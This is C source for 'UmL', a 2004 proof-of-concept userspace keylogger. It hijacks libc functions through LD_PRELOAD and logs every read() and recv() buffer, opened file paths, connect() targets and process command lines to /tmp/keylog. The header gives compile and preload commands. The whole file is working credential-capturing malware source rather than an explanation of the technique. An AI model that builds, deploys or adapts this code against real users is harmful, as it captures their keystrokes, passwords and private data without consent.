/*
    uml.c - v. 0.0.2 testing
    Copyright (C) october.2004 embyte

    UmL is an userspace logger which doesn't require r00t privileges.
    It works hijacking libc functs like described by halflife in
    "Shared Library Redirection" (Phrack 51).

    UmL logs read()/recv() output and intercepts open(), open64(), close(),
    socket(), connect(), exit(). There are many other important functions
    like recvfrom()/recvmsg(), fopen(), write(), etc... but this code it's 
    only a proof on concept ;-)

    Written by embyte <embyte@spine-group.org>
    Tested on Linux 2.6.7, glibc 2.3.2 and gcc 3.3.4

    Compile and run with
    $ gcc -g -Wall -fPIC -DDEBUG -c uml.c (you can disable DEBUG)
    $ ld -Bshareable -o uml.so uml.o -ldl
    $ setenv LD_PRELOAD `pwd`/uml.so (export for bash)

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
*/

#define _GNU_SOURCE
#define __USE_GNU
#include <stdlib.h> // free() malloc()
#include <dlfcn.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdarg.h>
#include <string.h> // memset()
#include <ctype.h>  // isprint()
#include <time.h>   // localtime functs

#include <sys/types.h>
#include <sys/socket.h> // socket()
#include <netinet/in.h>
#include <arpa/inet.h>

/* !!! modify here !!! */
#define LIBC_PATH "/lib/libc.so.6" // libc path
#define LOGFILE "/tmp/keylog"      // logfile path
/* !!! */

#define CMD_SIZE 128
#define BUF_SIZE 256 // buffer for log
#define TIME_SIZE 9  // H:M:S

/**************
* global vars *
**************/

// o_ pointers
static ssize_t (*o_read)(int fd, void *buf, size_t count);  // point to real read()
static int (*o_socket)(int domain, int type, int protocol); // point to real socket()
static int (*o_connect)(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen);
static int (*o_close) (int fd);
static int (*o_open)(const char *pathname, int flags, ...);
static int (*o_open64)(const char *pathname, int flags, ...);
static void (*o_exit)(int status);
static ssize_t (*o_recv)(int s, void *buf, size_t len, int flags);

// vars
int logfile;
char logbuf[BUF_SIZE];
char now[TIME_SIZE];
struct
{
   pid_t pid;
   char cmd[CMD_SIZE];
}
pinfo;

// funct protos
void my_log(const char *fmt, ...);
void whois(void);
void get_time(void);
void print_log (const char *p, size_t len);
int get_syms(void);
void _init(void);

// hooked functs
ssize_t read(int fd, void *buf, size_t count);
int connect(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen);
int socket(int domain, int type, int protocol);
int close(int fd);
int open(const char *pathname, int flags, ...);
int open64(const char *pathname, int flags, ...);
void exit(int status);
ssize_t recv(int s, void *buf, size_t len, int flags);

/*****************
* implementation *
*****************/

// log to LOGFILE with printf() format
void my_log(const char *fmt, ...)
{
   char *s;
   u_int s_SIZE;
   va_list ap;
   va_start (ap, fmt);

   if ((s_SIZE=vasprintf(&s, fmt, ap))<0)
     {
#ifdef DEBUG
	write (logfile, "error allocation space for logfile\n", 36);
#endif
	return;
     }
   write (logfile, s, s_SIZE);
   if (s)
     free (s);
}

// ask for program command line
void whois (void)
{
   char *path;
   FILE *f;

#define PATH_SIZE 128

   // malloc and clean strings
   path=(char *)malloc(PATH_SIZE);
   memset (path, 0, PATH_SIZE);
   memset (pinfo.cmd, 0 , PATH_SIZE);

   // open and read file
   sprintf (path, "/proc/%d/cmdline", (int) pinfo.pid);
   if ((f = fopen (path, "r"))==NULL)
     {
#ifdef DEBUG
	my_log ( "error finding command line from /proc\n");
#endif
	strncpy (pinfo.cmd, "unknow", 6);
	return;
     }
   if (path)
     free (path);

   fgets (pinfo.cmd, CMD_SIZE, f); // cmdline long
   fclose (f);
}

// get time
void get_time(void)
{
   time_t t;
   struct tm *mytm;

   memset (now, 0, TIME_SIZE); // clean time

   time(&t);
   mytm = localtime(&t);
   strftime(now, TIME_SIZE, "%H:%M:%S", mytm);
}

// print correct chars to log (used for read() and recv()
void print_log (const char *p, size_t len)
{
   u_short i;
   char c;

   for (i=0; i<len; i++)
     {
	if (isprint((int)p[i]) || p[i]=='\n')
	  write (logfile, &(p[i]), 1);
	else if (p[i]=='\r')
	  {
	     c='\n';
	     write (logfile, &c, 1);
	  }
     }

   if (p[i-1]!='\r' && p[i-1]!='\n') // check for enter..
     {
	c='\n';
	write (logfile, &c, 1);
     }
}

// resolve shared symbols
int get_sym(void)
{
   void *handle=dlopen(LIBC_PATH, RTLD_NOW|RTLD_GLOBAL);
   if (handle==NULL)
     return (-1);

   if ((o_read=dlsym(handle, "read"))==NULL)
     return (-1);
   if ((o_socket=dlsym(handle, "socket"))==NULL)
     return (-1);
   if ((o_connect=dlsym(handle, "connect"))==NULL)
     return (-1);
   if ((o_close=dlsym(handle, "close"))==NULL)
     return (-1);
   if ((o_open=dlsym(handle, "open"))==NULL)
     return (-1);
   if ((o_open64=dlsym(handle, "open64"))==NULL)
     return (-1);
   if ((o_exit=dlsym(handle, "exit"))==NULL)
     return (-1);
   if ((o_recv=dlsym(handle, "recv"))==NULL)
     return (-1);

   return 0;
}

// init function
void _init(void)
{
   // get sym
   if (get_sym()<0)
     exit (-1);

   // open logfile only now, else with have problem with o_* NULL pointer
   logfile = o_open (LOGFILE, O_APPEND|O_WRONLY|O_CREAT, S_IRUSR|S_IWUSR);

   pinfo.pid = getpid(); // get process PID
   whois();              // get cmdline

#ifdef DEBUG
   get_time();
   my_log ("\n*** [%s] library loaded for `%s` (PID %d) ***\n", now, pinfo.cmd, pinfo.pid);
#endif
}

// hijacked functions
ssize_t read (int fd, void *buf, size_t count)
{
   ssize_t retval;

   retval=o_read(fd, buf, count);

   my_log ("*** %d (%s): read() from fd %d ***\n", pinfo.pid, pinfo.cmd, fd);

   if (retval>0)
     {
	char *p=buf;
	print_log (p, retval);
     }

   return retval;
}

ssize_t recv(int s, void *buf, size_t len, int flags)
{
   ssize_t retval=o_recv(s, buf, len, flags);

   my_log ("*** %d (%s): recv() from fd %d ***\n", pinfo.pid, pinfo.cmd, s);

   if (retval>0)
     {
	char *p=buf;
	print_log (p, retval);
     }

   return retval;
}

int socket (int domain, int type, int protocol)
{
   int retval;

   retval=o_socket (domain, type, protocol);
   my_log ("*** %d: socket() return fd %d ***\n", pinfo.pid, retval);

   return retval;
}

int close (int fd)
{
   my_log ("*** %d: close() fd %d ***\n", pinfo.pid, fd);
   return (o_close(fd));
}

int connect (int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen)
{
   struct sockaddr_in *address;

   address = (struct sockaddr_in *) serv_addr;
   my_log ("*** %d: connect() over %d for %s:%d ***\n", pinfo.pid,
	   sockfd, inet_ntoa(address->sin_addr), (int) address->sin_port);

   return (o_connect (sockfd, serv_addr, addrlen));
}

void exit (int status)
{
#ifdef DEBUG
   my_log ("*** %d: exit(%d) ***\n", pinfo.pid, status);
#endif
   // close logfile and exit
   o_close (logfile);
   o_exit (status);
}

int open (const char *pathname, int flags, ...)
{
   int mode;
   int retval;

   // open a new file
   // see open(2)
   if (flags & O_CREAT)
     {
	va_list arg;
	va_start(arg, flags);
	mode = va_arg(arg, int);
	va_end(arg);

	retval=o_open(pathname, flags, mode);
     }
   else
     {
	retval=o_open(pathname, flags);
     }

   my_log ("*** %d: open(%s) return fd %d ***\n", pinfo.pid, pathname, retval);
   return retval;
}

int open64(const char *pathname, int flags, ...)
{
   int mode;
   int retval;

   if (flags & O_CREAT)
     {
	va_list arg;
	va_start(arg, flags);
	mode = va_arg(arg, int);
	va_end(arg);

	retval=o_open64(pathname, flags, mode);
     }
   else
     {
	retval=o_open64(pathname, flags);
     }

   my_log ("*** %d: open64(%s) return fd %d ***\n", pinfo.pid, pathname, retval);
   return retval;
}

/* EOF */
